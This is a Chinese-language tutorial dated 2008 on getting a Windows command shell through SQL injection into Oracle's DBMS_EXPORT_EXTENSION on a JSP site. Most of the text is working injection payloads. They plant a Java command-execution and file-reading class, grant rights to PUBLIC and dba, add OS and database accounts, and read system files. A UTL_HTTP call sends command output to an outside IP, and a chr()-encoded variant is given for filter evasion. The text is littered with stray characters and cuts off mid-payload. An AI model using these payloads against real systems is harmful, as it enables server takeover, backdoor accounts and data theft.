% G. K; d0 x9 a' Q9 h5 z" \. g' s
: } d& s" q! k S ^7 G介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。: g4 c6 ~6 Y; A4 j0 g- p; J. n
# z2 {: B, i/ F8 Y5 O% q以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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0 ?, v6 s$ O+ m4 H' X5 I) q的形式即可。(用" 'a'|| "是为了让语句返回true值)
5 x) H& Y! I4 O: _+ I
/ ^) y* s0 }4 J/ |语句有点长,可能要用post提交。9 G2 Y; P& J# a% u; F& X$ N1 e
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以下是各个步骤:
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1.创建包
& J" C0 O/ G( e4 D9 O# U& ]/ O通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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`5 M" X2 Z4 b, v3 J. C0 I/xxx.jsp?id=1 and '1'<>'a'||(" a8 b: ~* L4 ^) \; z! D/ }
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 ]5 _& @5 A B$ [' m/ R
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(, O0 l2 ?, z; Z" [6 i
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
Z8 Q. b2 {. s2 F2 E}'''';END;'';END;--','SYS',0,'1',0) from dual
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)
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% I2 o. g% W' p) q! f------------------------
& e, @4 q0 S w& b) C$ w/ a如果url有长度限制,可以把readFile()函数块去掉,即:2 K5 o3 X+ u" i: y& G2 d8 o9 r
/xxx.jsp?id=1 and '1'<>'a'||(
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$ w& m8 l& E$ ~% l$ kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ C f% Q0 Z. O4 F v0 N( q0 K# C# _create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(( F% u3 g7 S: H! r( f! s
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}( v0 m' Y: r& \6 c- u
}'''';END;'';END;--','SYS',0,'1',0) from dual
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同时把后面步骤 提到的 对readFile()的处理语句去掉。
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6 v( v4 a2 I: S; k' I- \2.赋Java权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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+ {2 K8 R- Y3 S8 Z$ V- T3.创建函数- c8 ]3 F9 r6 U4 z7 k" R2 N0 @# S M$ V# i
4 l/ c7 N4 h2 y+ W7 cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 B" y; J4 C2 f& q
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual9 o+ v2 f( \$ l% |
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 W: @4 L" ?/ E ?5 v2 F
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual/ Y7 p3 Z$ a9 O3 j+ d% ?* R G
5 {! n, Z, d3 `5 }5 `' A$ e4.赋public执行函数的权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual3 ^; V/ V @) I ]! E; q
4 a! m" s" a+ [( n2 _! e. xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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5.测试上面的几步是否成功
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and '1'<>'11'||(
- i* u! ^/ Y1 C1 K$ A$ X, n2 c G2 cselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'; P3 Z( Y. l a
)
+ S8 ^! i* C- L% L" g& B" N+ ?8 Y1 L7 J. q! c8 @9 ?$ t4 i
and '1'<>(
9 Y& j6 l9 K! S0 Yselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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. d: e% ~6 c7 T! t5 ~0 d' A6.执行命令:1 q+ o; l7 _8 { q9 d- {5 Z
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/xxx.jsp?id=1 and '1'<>(
# x1 Z" f2 y) p; c- ^& @3 ^: Tselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/xxx.jsp?id=1 and '1'<>(
1 m3 a* X3 U" _( k* j- }) pselect sys.LinxReadFile('c:/boot.ini') from dual
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3 J5 u" x! O+ n- i0 Z注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。4 C4 t M) \6 b: W2 t
如果要查看运行结果可以用 union :
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& T% `. K1 M* ?) G4 d' X1 L/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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- f1 \# e V5 w: V# g$ ^* l) E或者UTL_HTTP.request(:& U5 J' Z$ e& }) h9 r; G; H7 A
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/xxx.jsp?id=1 and '1'<>(
6 `1 B2 n' M* p- S$ W; K6 O# n# pSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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* G0 ~ E& ]( I- p8 GSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual$ C/ x. T) ~2 g' s/ C& W R! E
)
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。8 h C8 |6 E/ s$ [% ?$ @9 n4 h
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--------------------# o/ h1 w# H7 z
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6.内部变化
5 k0 D) m- ^; d+ x% i通过以下命令可以查看all_objects表达改变:
, { k7 B, V3 \: fselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
6 G# r& P/ g& c: G5 Q3 e) \* }1 ?" Q$ i/ D1 z0 D
7.删除我们创建的函数
( _7 O# l$ m* \0 Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) X. \& Y7 `% R6 ^# v. Tdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual$ ~8 i$ z; Y8 Y# B5 I% Q3 H& N
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) D1 i. k- y: X2 ?. c/ z/ U- B====================================================
5 b1 f+ F3 Z( K- e+ |全文结束。谨以此文赠与我的朋友。; x; n+ B; ]9 `
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linx3 p% K' H! ?7 A& H" p' G
124829445- h# |/ R" Q9 @2 R5 e' @) \
2008.1.12
6 p' B4 i" D! t2 ^( V8 ilinyujian@bjfu.edu.cn+ P @1 N Z/ y/ C) S) {
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M, ? a# v/ L% B' [* ~4 P4 U& M( d' \. \
======================================================================$ n. u, v. E* i
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测试漏洞的另一方法:
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创建oracle帐号:0 Y$ F0 ]( J+ G/ q* a/ D: z4 z( J: z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& h% [9 _ z1 Q6 F: K& b3 v
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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即:7 k/ i6 a8 A# J+ f3 t1 x B6 B& v
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
9 R& s* X) \* D- \' j9 Zchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:2 ^- Z; L! U6 N$ G5 V4 l
1<>(
; l4 H6 p/ Z3 S% w" b0 a" gselect user_id from all_users where username='LINXSQL'* V! M A3 e# @. u& a( Q+ X3 I1 N
)% H8 j. Y5 k& {( ]/ L
: R* h% [! L' _; Y; Q# {给linxsql连接权限:) P( a j* ]4 @. ^9 I# }
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 g7 q6 r* Z0 n0 u
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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$ R. I9 s. W _ G( ?8 D0 Q$ X8 o( ~删除帐号:6 F7 i# T- T$ i
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; k+ }+ x' w2 A* S- S
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual. M- C5 _& Z+ C' s1 s
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======================
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:$ O/ R* ^. t: `" d; H
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1.jsp?id=1 and '1'<>(0 B% C) ^9 J9 y u8 U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! S" s( q0 A3 s, Y- p) C( X) n
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
- h# s; r% l p& ?2 O) and ...
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1.jsp?id=1 and '1'<>(
. } p+ W+ K H' ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
1 l6 E3 U# Z" F" E) t) and ...
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1.jsp?id=1 and '1'<>(
) @& j* f4 K- b7 @% jSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL$ g0 C S q" _1 [- s& P3 z" C
) and ...
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1.jsp?id=1 and '1'<>(; i6 Q) [5 `" J8 c, y2 Q7 E' {
SELECT sys.Linx_Query('declare pragma" Q. B4 m0 i$ }( K
autonomous_transaction; begin execute immediate ''; W5 A; g) |5 j- V3 u
select 1 from dual2 F7 v# z) s& E8 _
''; commit; end;') from dual
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多语句:
+ ~5 i7 ?! `7 W$ ?: USELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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! l8 z3 F( E T8 C* t# {) n6 |创建用户(除非当前用户有system权限,否则无法成功):. L$ {* J* x! J* J1 T$ x' \) c& T" s1 r
SELECT sys.Linx_Query('declare pragma6 E: y& r$ [7 e6 c" B8 f
autonomous_transaction; begin execute immediate ''
3 d8 V6 Q8 F) z) f6 D, E$ V/ fCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
- p+ o# e% v' E''; commit; end;') from dual5 [' j: T ^3 G1 T) G4 l) l
t; n' O/ t: t( D) n" b. F4 l2 H) N
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/ }4 P! U7 D, G- K% Z/ s================
" M" b. q+ J, a* u以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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1.创建函数 q8 K1 m1 a) U- n V
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', w/ ?; I4 l2 O0 w' t# F; Q
create or replace function Linx_Query (p
; e+ x: n5 R2 S$ Pvarchar2) return number authid current_user is begin execute immediate
: U+ s9 b- n" U( op; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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$ t9 A* M( R! r' m. K6 W0 \8 @6 f如果有权限,以下语句应该允许正常
1 a f3 P y2 l1 @7 }3 d, oselect sys.linx_query('select 1 from dual') from dual;5 ^" K3 m' [* _! k
5 n, U6 o& v) g( x/ I# G) ?不然的话运行:
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t; V# T3 `/ P* P2 uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', S, c: N* N9 u
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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; l, B" z- E2 z; o; D3 g2.创建包, N9 d. d1 [! {/ u* [5 G0 q
SELECT sys.Linx_Query('declare pragma' U; ]+ r- u' t9 C
autonomous_transaction; begin execute immediate ''
' F3 D( g6 i0 G k8 b% _5 Qcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(% r! W, j' g4 Z8 z5 {1 U
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
6 d$ w: w/ o! O6 E2 Y2 L: x, V k; a6 z3 K. T+ N k: V A' T
3.创建函数: Y$ A1 W2 m+ }
SELECT sys.Linx_Query('declare pragma
+ x8 S& E( V7 }. H! n( y$ Qautonomous_transaction; begin execute immediate ''
9 _+ S: Q* `, Tcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual) Q) N+ ~2 P# L. f" N3 \# D
3 U& ^2 y% @/ {& s; Y3 }, S
4.给权限) n" [& p6 r6 A, V" R% Z1 Y
给用户SYSTEM执行权限:
/ C! p2 W& Y9 ^ i" P# c: O r" g4 q& I+ v! c/ ^; C
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual v( T3 L- }* J: o$ g3 X
/ \' @9 V, o3 g. H; g2 G" W/ d
0 C2 p Z+ a1 a! C4 L4 p+ I7 z
* m. F' b$ A) z2 Y# Q5 T5.执行函数
' m, T" Z7 W) D% s" Z/ }select RunCMD2('cmd /c dir') from dual v. n0 D H& y* ^
3 x% w. m( a4 ]: M! X( }" n4 j; f- g% Q) C; z
) @9 X* j! B, f, H
( d0 U& G% }+ i7 W7 L3 i( _6 N/ z" x9 z) ^( B
==================
6 n; N- G% Q6 ^( r================================. `& P: d% G4 S' H
& Z6 j9 f7 a r. a0 U! `$ O* f以下是无 " ' " 版:; z8 w- Z( c8 u1 T; r
k1 K7 Q. r/ ]4 a u- d9 a
以下是各个步骤:; B% \% r% E7 J2 ^5 J
. E8 h7 y$ G& K+ m
1.创建包
; v h2 o3 N9 V6 t通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
. y6 p4 U& y6 S7 h0 O4 d. ]/ O u8 Z因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:: q6 t O3 t6 H8 o3 @' @+ t
; k8 s- O0 N: @8 }' n
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
[# I0 t( _% N: s! C! Q
5 v* E6 E& ~2 b1 I9 z8 `9 K' lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
: `, v; d9 x# b- zchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
4 }. k2 P: h8 V2 k! y; C1 r* K0 ochr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||' j( m, n: W& U% H0 d- |
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||" g8 v2 e0 K2 y; j; H2 \
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||5 o2 Y! @# @" f0 I4 J" {; Y) i" h! c
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
+ q, u/ H/ C+ b3 p2 I Zchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||$ k/ ]1 `! j+ B z8 r8 x! {
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
9 V' k6 g( M/ L' r; Hchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
' }2 {- r, l- K+ F% X) x* _# y) c$ rchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||" L4 h: T; N7 Y1 D: I# ^/ x/ {3 d
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||' M& |- e" ~8 B, v0 p
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||/ I% ~3 T* T" m: h
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
( t1 N: H( n1 ^$ X' H& X9 ^chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||/ |8 z( ~) g( }
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||/ _ c: c$ z9 M* M, C3 ~& o+ o! a
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
9 q5 Z l' t! [ Q8 H, Ochr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
( ~& X3 g* G# s' p9 xchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
1 p- q) e* L! b! `+ L% j, qchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||8 q a2 R+ f6 Y; t4 |' Z& Z: V, u
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||, b7 V4 ]/ T1 m! h) t
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||# J& n4 L. U, [1 `( ^6 P
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||& E+ Q5 Y8 n- |7 ~' u, |+ O
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||8 ~- N0 z" |3 N) {$ y2 q) J
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
